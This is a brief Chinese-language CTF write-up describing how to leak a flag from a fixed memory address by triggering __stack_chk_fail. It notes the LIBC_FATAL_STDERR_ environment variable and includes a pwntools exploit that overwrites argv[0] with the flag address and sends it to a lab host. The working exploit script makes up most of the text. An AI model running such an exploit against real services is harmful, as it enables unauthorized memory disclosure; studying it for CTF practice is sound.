(利用stack_chk_fail 泄露指定位置内容)



flag固定位置0x0804a080




_libc_message()函数中在运行的时候会去搜索一个叫做”LIBC_FATAL_STDERR”的环境变量,如果没有搜索到或者其值为’\x00’,则把输出的fd设置为TTY,否则才会把fd设置成STDERR_FILENO,即错误输出到stderr。所以我们部署的时候需要给shell设置环境变量


#exp
#泄露地址为位置与读入数据的位置相差0x114  
#填充 0x114 padding ,0x4的flag_add
from pwn import *

context.binary = './pwn5'
link = remote("192.168.93.137","6666")
flag_add = 0x0804a080
link.recvuntil("input something\n")
payload = p32(flag_add) * 70
link.send(payload)
print link.recv()